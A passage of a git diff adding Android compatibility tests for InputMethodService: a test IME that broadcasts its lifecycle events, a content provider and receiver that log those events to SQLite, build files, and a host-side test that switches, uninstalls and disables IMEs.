+        mLogTag = getClass().getSimpleName();
+        if (DEBUG) {
+            Log.d(mLogTag, "onCreate:");
+        }
+        sendEvent(ON_CREATE);
+
+        super.onCreate();
+
+        mImeCommandReceiver.register(this /* ime */);
+    }
+
+    @Override
+    public void onStartInput(EditorInfo editorInfo, boolean restarting) {
+        if (DEBUG) {
+            Log.d(mLogTag, "onStartInput:"
+                    + " editorInfo=" + editorInfo
+                    + " restarting=" + restarting);
+        }
+        sendEvent(ON_START_INPUT, editorInfo, restarting);
+
+        super.onStartInput(editorInfo, restarting);
+    }
+
+    @Override
+    public void onStartInputView(EditorInfo editorInfo, boolean restarting) {
+        if (DEBUG) {
+            Log.d(mLogTag, "onStartInputView:"
+                    + " editorInfo=" + editorInfo
+                    + " restarting=" + restarting);
+        }
+        sendEvent(ON_START_INPUT_VIEW, editorInfo, restarting);
+
+        super.onStartInputView(editorInfo, restarting);
+    }
+
+    @Override
+    public void onFinishInputView(boolean finishingInput) {
+        if (DEBUG) {
+            Log.d(mLogTag, "onFinishInputView: finishingInput=" + finishingInput);
+        }
+        sendEvent(ON_FINISH_INPUT_VIEW, finishingInput);
+
+        super.onFinishInputView(finishingInput);
+    }
+
+    @Override
+    public void onFinishInput() {
+        if (DEBUG) {
+            Log.d(mLogTag, "onFinishInput:");
+        }
+        sendEvent(ON_FINISH_INPUT);
+
+        super.onFinishInput();
+    }
+
+    @Override
+    public void onDestroy() {
+        if (DEBUG) {
+            Log.d(mLogTag, "onDestroy:");
+        }
+        sendEvent(ON_DESTROY);
+
+        super.onDestroy();
+
+        unregisterReceiver(mImeCommandReceiver);
+    }
+
+    //
+    // Implementations of {@link ImeCommandCallbacks}.
+    //
+
+    @Override
+    public void commandCommitText(final CharSequence text, final int newCursorPosition) {
+        executeOnInputConnection(ic -> {
+            // TODO: Log the return value of {@link InputConnection#commitText(CharSequence,int)}.
+            ic.commitText(text, newCursorPosition);
+        });
+    }
+
+    @Override
+    public void commandSwitchInputMethod(final String imeId) {
+        switchInputMethod(imeId);
+    }
+
+    @Override
+    public void commandRequestHideSelf(final int flags) {
+        requestHideSelf(flags);
+    }
+
+    private void executeOnInputConnection(final Consumer<InputConnection> consumer) {
+        final InputConnection ic = getCurrentInputConnection();
+        // TODO: Check and log whether {@code ic} is null or equals to
+        // {@link #getCurrentInputBindin().getConnection()}.
+        if (ic != null) {
+            consumer.accept(ic);
+        }
+    }
+
+    private void sendEvent(final DeviceEventType type, final Object... args) {
+        final String sender = getClass().getName();
+        final Intent intent = DeviceEvent.newDeviceEventIntent(sender, type);
+        // TODO: Send arbitrary {@code args} in {@code intent}.
+        sendBroadcast(intent);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/ImeCommandReceiver.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/ImeCommandReceiver.java
new file mode 100644
index 0000000..23e5555
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/ImeCommandReceiver.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.ime;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.inputmethodservice.InputMethodService;
+import android.inputmethodservice.cts.common.ImeCommandConstants;
+import android.inputmethodservice.cts.ime.ImeCommandReceiver.ImeCommandCallbacks;
+import android.util.Log;
+
+/**
+ * {@link ImeCommandConstants#ACTION_IME_COMMAND} intent receiver.
+ */
+final class ImeCommandReceiver<T extends InputMethodService & ImeCommandCallbacks>
+        extends BroadcastReceiver {
+
+    private static final boolean DEBUG = false;
+
+    interface ImeCommandCallbacks {
+        /**
+         * Callback method for {@link ImeCommandConstants#COMMAND_COMMIT_TEXT} intent.
+         *
+         * @param text text to be committed via {@link android.view.inputmethod.InputConnection}.
+         * @param newCursorPosition new cursor position after commit.
+         */
+        void commandCommitText(final CharSequence text, final int newCursorPosition);
+
+        /**
+         * Callback method for {@link ImeCommandConstants#COMMAND_SWITCH_INPUT_METHOD} intent.
+         *
+         * @param imeId IME id to switch.
+         */
+        void commandSwitchInputMethod(final String imeId);
+
+        /**
+         * Callback method for {@link ImeCommandConstants#COMMAND_REQUEST_HIDE_SELF} intent.
+         */
+        void commandRequestHideSelf(final int flags);
+    }
+
+    private T mIme;
+
+    void register(final T ime) {
+        mIme = ime;
+        ime.registerReceiver(this, new IntentFilter(ImeCommandConstants.ACTION_IME_COMMAND));
+    }
+
+    @Override
+    public void onReceive(final Context context, final Intent intent) {
+        final String command = intent.getStringExtra(ImeCommandConstants.EXTRA_COMMAND);
+        if (DEBUG) {
+            Log.d(mIme.getClass().getSimpleName(), "onReceive: command=" + command);
+        }
+
+        switch (command) {
+            case ImeCommandConstants.COMMAND_COMMIT_TEXT: {
+                final CharSequence text = getCharSequence1(intent);
+                final int newCursorPosition = getInt1(intent);
+                mIme.commandCommitText(text, newCursorPosition);
+                return;
+            }
+            case ImeCommandConstants.COMMAND_SWITCH_INPUT_METHOD: {
+                final String imeId = getString1(intent);
+                mIme.commandSwitchInputMethod(imeId);
+                return;
+            }
+            case ImeCommandConstants.COMMAND_REQUEST_HIDE_SELF: {
+                final int flags = getInt1(intent);
+                mIme.commandRequestHideSelf(flags);
+                return;
+            }
+            default: {
+                throw new UnsupportedOperationException("Unknown IME command: " + command);
+            }
+        }
+    }
+
+    private static CharSequence getCharSequence1(final Intent intent) {
+        return intent.getCharSequenceExtra(ImeCommandConstants.EXTRA_ARG_CHARSEQUENCE1);
+    }
+
+    private static String getString1(final Intent intent) {
+        return intent.getStringExtra(ImeCommandConstants.EXTRA_ARG_STRING1);
+    }
+
+    private static int getInt1(final Intent intent) {
+        if (intent.hasExtra(ImeCommandConstants.EXTRA_ARG_INT1)) {
+            return intent.getIntExtra(ImeCommandConstants.EXTRA_ARG_INT1, 0);
+        }
+        throw new IllegalArgumentException(
+                "Needs " + ImeCommandConstants.EXTRA_ARG_INT1 + " in " + intent);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
new file mode 100644
index 0000000..03b3946
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    CtsInputMethodServiceCommon \
+    CtsInputMethodServiceLib
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
new file mode 100755
index 0000000..9189da3
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.inputmethodservice.cts.provider">
+
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+
+    <application android:label="CtsInputMethodServiceEventProvider">
+        <provider
+            android:authorities="android.inputmethodservice.cts.provider"
+            android:name="android.inputmethodservice.cts.provider.EventProvider"
+            android:exported="true" />
+        <receiver android:name="android.inputmethodservice.cts.receiver.EventReceiver">
+            <intent-filter>
+                <action android:name="android.inputmethodservice.cts.action.IME_EVENT" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+</manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/provider/EventProvider.java b/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/provider/EventProvider.java
new file mode 100644
index 0000000..46a32c6
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/provider/EventProvider.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.provider;
+
+import static android.inputmethodservice.cts.common.EventProviderConstants.AUTHORITY;
+
+import android.content.ContentProvider;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
+import android.inputmethodservice.cts.db.Database;
+import android.inputmethodservice.cts.db.Table;
+import android.inputmethodservice.cts.DeviceEvent;
+import android.net.Uri;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * IME event content provider.
+ */
+public final class EventProvider extends ContentProvider {
+
+    private static final String TAG = EventProvider.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final String DB_NAME = "database";
+    private static final int DB_VERSION = 1;
+
+    private UriHelper.Factory mUriFactory;
+    private Database mDatabase;
+
+    @Override
+    public boolean onCreate() {
+        mUriFactory = UriHelper.Factory.builder()
+                .addUri(AUTHORITY, EventTableConstants.NAME, EventTableConstants.TYPE_DIR)
+                .addUri(AUTHORITY, EventTableConstants.NAME + "/#", EventTableConstants.TYPE_ITEM)
+                .build();
+        mDatabase = new Database(getContext(), DB_NAME, DB_VERSION) {
+            @Override
+            @NonNull
+            protected List<Table> getTables() {
+                return Collections.singletonList(DeviceEvent.TABLE);
+            }
+        };
+        return true;
+    }
+
+    @Override
+    public Cursor query(@NonNull final Uri uri, @Nullable final String[] projection,
+            final @Nullable String selection, @Nullable final String[] selectionArgs,
+            @Nullable final String orderBy) {
+        final UriHelper uriHelper = mUriFactory.newInstance(uri);
+        if (DEBUG) {
+            Log.d(TAG, "query:"
+                    + " uri=" + uri
+                    + " projection=" + Arrays.toString(projection)
+                    + " selection=" + uriHelper.buildSelection(selection)
+                    + " selectionArgs=" + Arrays.toString(
+                            uriHelper.buildSelectionArgs(selectionArgs))
+                    + " orderBy=" + orderBy);
+        }
+        final Cursor cursor = mDatabase.query(
+                uriHelper.table, projection, uriHelper.buildSelection(selection),
+                uriHelper.buildSelectionArgs(selectionArgs), orderBy);
+        if (DEBUG) {
+            Log.d(TAG, "  query.count=" + cursor.getCount());
+        }
+        cursor.setNotificationUri(getContext().getContentResolver(), uri);
+        return cursor;
+    }
+
+    @Override
+    public Uri insert(@NonNull final Uri uri, @Nullable final ContentValues values) {
+        final UriHelper uriHelper = mUriFactory.newInstance(uri);
+        if (DEBUG) {
+            Log.d(TAG, "insert: uri=" + uri + " values={" + values + "}");
+        }
+        final long rowId = mDatabase.insert(uriHelper.table, values);
+        final Uri insertedUri = ContentUris.withAppendedId(uri, rowId);
+        if (DEBUG) {
+            Log.d(TAG, "  insert.uri=" + insertedUri);
+        }
+        getContext().getContentResolver().notifyChange(insertedUri, null);
+        return insertedUri;
+    }
+
+    @Override
+    public int delete(@NonNull final Uri uri, @Nullable final String selection,
+            @Nullable final String[] selectionArgs) {
+        final UriHelper uriHelper = mUriFactory.newInstance(uri);
+        if (DEBUG) {
+            Log.d(TAG, "delete:"
+                    + " uri=" + uri
+                    + " selection=" + uriHelper.buildSelection(selection)
+                    + " selectionArgs=" + Arrays.toString(
+                            uriHelper.buildSelectionArgs(selectionArgs)));
+        }
+        final int count = mDatabase.delete(uriHelper.table, uriHelper.buildSelection(selection),
+                uriHelper.buildSelectionArgs(selectionArgs));
+        if (DEBUG) {
+            Log.d(TAG, "  delete.count=" + count);
+        }
+        getContext().getContentResolver().notifyChange(uri, null);
+        return count;
+    }
+
+    @Override
+    public int update(@NonNull final Uri uri, @Nullable final ContentValues values,
+            final @Nullable String selection, @Nullable final String[] selectionArgs) {
+        final UriHelper uriHelper = mUriFactory.newInstance(uri);
+        if (DEBUG) {
+            Log.d(TAG, "update:"
+                    + " uri=" + uri
+                    + " values={" + values + "}"
+                    + " selection=" + uriHelper.buildSelection(selection)
+                    + " selectionArgs=" + Arrays.toString(
+                            uriHelper.buildSelectionArgs(selectionArgs)));
+        }
+        final int count = mDatabase.update(uriHelper.table, values,
+                uriHelper.buildSelection(selection), uriHelper.buildSelectionArgs(selectionArgs));
+        if (DEBUG) {
+            Log.d(TAG, "  update.count=" + count);
+        }
+        getContext().getContentResolver().notifyChange(uri, null);
+        return count;
+    }
+
+    @Override
+    @Nullable
+    public String getType(@NonNull final Uri uri) {
+        return mUriFactory.getTypeOf(uri);
+    }
+
+    @Override
+    public void shutdown() {
+        super.shutdown();
+        mDatabase.close();
+        mDatabase = null;
+        mUriFactory = null;
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/provider/UriHelper.java b/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/provider/UriHelper.java
new file mode 100644
index 0000000..1a4f945
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/provider/UriHelper.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.provider;
+
+import android.content.UriMatcher;
+import android.net.Uri;
+import android.provider.BaseColumns;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.text.TextUtils;
+import android.util.SparseArray;
+
+import java.util.List;
+
+/**
+ * Content URI helper.
+ *
+ * Helper object to parse content URI passed to content provider. A helper object is instantiated
+ * via {@link Factory#newInstance(Uri)}, and a {@link Factory} object should be instantiated using
+ * {@link FactoryBuilder}.
+ *
+ * A content URI is assumed to have a format "content://authority/table[/id]?" where table is a
+ * SQLite table name in content provider and id is a primary key.
+ */
+final class UriHelper {
+
+    static final class Factory {
+        private final UriMatcher mUriMatcher;
+        private final SparseArray<String> mUriTypeMap;
+
+        public static FactoryBuilder builder() {
+            return new FactoryBuilder();
+        }
+
+        private Factory(final FactoryBuilder builder) {
+            mUriMatcher = builder.mUriMatcher;
+            mUriTypeMap = builder.mUriTypeMap;
+        }
+
+        @NonNull
+        UriHelper newInstance(final Uri uri) {
+            if (mUriMatcher.match(uri) == UriMatcher.NO_MATCH) {
+                throw new IllegalArgumentException("Unknown URI: " + uri);
+            }
+            return new UriHelper(uri);
+        }
+
+        @Nullable
+        String getTypeOf(final Uri uri) {
+            return mUriTypeMap.get(mUriMatcher.match(uri), null);
+        }
+    }
+
+    static final class FactoryBuilder {
+        private final UriMatcher mUriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+        private final SparseArray<String> mUriTypeMap = new SparseArray<>();
+        private int mMatcherCode;
+
+        private FactoryBuilder() {
+            mMatcherCode = 0;
+        }
+
+        FactoryBuilder addUri(final String authority, final String path, final String type) {
+            if (TextUtils.isEmpty(authority)) {
+                throw new IllegalArgumentException("Authority must not be empty");
+            }
+            if (TextUtils.isEmpty(path)) {
+                throw new IllegalArgumentException("Path must not be empty");
+            }
+            final int matcherCode = mMatcherCode++;
+            mUriMatcher.addURI(authority, path, matcherCode);
+            mUriTypeMap.append(matcherCode, type);
+            return this;
+        }
+
+        Factory build() {
+            if (mMatcherCode == 0) {
+                throw new IllegalStateException("No URI is defined");
+            }
+            return new Factory(this);
+        }
+    }
+
+    /** Name of SQLite table specified by content uri. */
+    @NonNull
+    final String table;
+
+    /** Primary id that is specified by content uri. Null if not. */
+    @Nullable
+    private final String mId;
+
+    private UriHelper(final Uri uri) {
+        final List<String> segments = uri.getPathSegments();
+        table = segments.get(0);
+        mId = (segments.size() >= 2) ? segments.get(1) : null;
+    }
+
+    /**
+     * Composes selection SQL text from content uri and {@code selection} specified.
+     * When content uri has a primary key, it needs to be composed with a selection text specified
+     * as content provider parameter.
+     *
+     * @param selection selection text specified as a parameter to content provider.
+     * @return composed selection SQL text, null if no selection specified.
+     */
+    @Nullable
+    String buildSelection(@Nullable final String selection) {
+        if (mId == null) {
+            return selection;
+        }
+        // A primary key is specified by uri, so that selection should be at least "_id = ?".
+        final StringBuilder sb = new StringBuilder().append(BaseColumns._ID).append(" = ?");
+        if (selection != null) {
+            // Selection is also specified as a parameter to content provider, so that it should be
+            // appended with AND, such that "_id = ? AND (selection_text)".
+            sb.append(" AND (").append(selection).append(")");
+        }
+        return sb.toString();
+    }
+
+    /**
+     * Composes selection argument array from context uri and {@code selectionArgs} specified.
+     * When content uri has a primary key, it needs to be provided in a final selection argument
+     * array.
+     *
+     * @param selectionArgs selection argument array specified as a parameter to content provider.
+     * @return composed selection argument array, null if selection argument is unnecessary.
+     */
+    @Nullable
+    String[] buildSelectionArgs(@Nullable final String[] selectionArgs) {
+        if (mId == null) {
+            return selectionArgs;
+        }
+        // A primary key is specified by uri but not as a parameter to content provider, the primary
+        // key value should be the sole selection argument.
+        if (selectionArgs == null || selectionArgs.length == 0) {
+            return new String[]{ mId };
+        }
+        // Selection args are also specified as a parameter to content provider, the primary key
+        // value should be prepended to those selection args.
+        final String[] args = new String[selectionArgs.length + 1];
+        System.arraycopy(selectionArgs, 0, args, 1, selectionArgs.length);
+        args[0] = mId;
+        return args;
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/receiver/EventReceiver.java b/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/receiver/EventReceiver.java
new file mode 100644
index 0000000..9b79605
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/src/android/inputmethodservice/cts/receiver/EventReceiver.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.receiver;
+
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TIME;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.inputmethodservice.cts.DeviceEvent;
+import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.util.Log;
+
+public final class EventReceiver extends BroadcastReceiver {
+
+    private static final String TAG = EventReceiver.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final Uri CONTENT_URI = Uri.parse(EventTableConstants.CONTENT_URI);
+
+    @Override
+    public void onReceive(final Context context, final Intent intent) {
+        // Since {@code intent} which comes from host has no
+        // {@link DeviceEventConstants#EXTRA_EVENT_TIME EXTRA_EVENT_TIME} extra, here we record the
+        // time.
+        if (!intent.hasExtra(EXTRA_EVENT_TIME)) {
+            intent.putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+        }
+        final DeviceEvent event = DeviceEvent.newEvent(intent);
+        if (DEBUG) {
+            Log.d(TAG, "onReceive: event=" + event);
+        }
+        final ContentValues values = DeviceEvent.buildContentValues(event);
+        context.getContentResolver().insert(CONTENT_URI, values);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
new file mode 100644
index 0000000..19478f1
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MODULE := CtsInputMethodServiceHostTestCases
+
+LOCAL_JAVA_LIBRARIES := \
+    compatibility-host-util \
+    cts-tradefed \
+    tradefed
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-inputmethodservice-common-host
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
new file mode 100644
index 0000000..bf7e9a7
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<configuration description="Config for CTS Input Method Service host test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+        <option name="run-command" value="wm dismiss-keyguard" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsInputMethodServiceEventProvider.apk" />
+        <option name="test-file-name" value="CtsInputMethodServiceDeviceTests.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsInputMethodServiceHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
new file mode 100644
index 0000000..973b87e
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.hostside;
+
+import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
+import android.inputmethodservice.cts.common.Ime1Constants;
+import android.inputmethodservice.cts.common.Ime2Constants;
+import android.inputmethodservice.cts.common.test.DeviceTestConstants;
+import android.inputmethodservice.cts.common.test.ShellCommandUtils;
+import android.inputmethodservice.cts.common.test.TestInfo;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class InputMethodServiceLifecycleTest extends CompatibilityHostTestBase {
+
+    private String mDefaultImeId;
+
+    @Before
+    public void setUp() throws Exception {
+        // Skip whole tests when DUT has no android.software.input_methods feature.
+        assumeTrue(Boolean.parseBoolean(shell(
+                ShellCommandUtils.hasFeature(ShellCommandUtils.FEATURE_INPUT_METHODS))));
+        mDefaultImeId = shell(ShellCommandUtils.getCurrentIme());
+        cleanUpTestImes();
+        shell(ShellCommandUtils.deleteContent(EventTableConstants.CONTENT_URI));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        shell(ShellCommandUtils.setCurrentIme(mDefaultImeId));
+        cleanUpTestImes();
+    }
+
+    @Test
+    public void testSwitchIme() throws Exception {
+        final TestInfo testSwitchIme1ToIme2 = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_SWITCH_IME1_TO_IME2);
+        sendTestStartEvent(testSwitchIme1ToIme2);
+        installPackage(Ime1Constants.APK, "-r");
+        installPackage(Ime2Constants.APK, "-r");
+        shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
+        shell(ShellCommandUtils.enableIme(Ime2Constants.IME_ID));
+        shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+
+        assertTrue(runDeviceTestMethod(testSwitchIme1ToIme2));
+    }
+
+    @Test
+    public void testUninstallCurrentIme() throws Exception {
+        final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
+        sendTestStartEvent(testCreateIme1);
+        installPackage(Ime1Constants.APK, "-r");
+        shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
+        shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+        assertTrue(runDeviceTestMethod(testCreateIme1));
+
+        final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
+        sendTestStartEvent(testIme1IsNotCurrentIme);
+        uninstallPackageIfExists(Ime1Constants.PACKAGE);
+        assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
+        assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+    }
+
+    @Test
+    public void testDisableCurrentIme() throws Exception {
+        final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
+        sendTestStartEvent(testCreateIme1);
+        installPackage(Ime1Constants.APK, "-r");
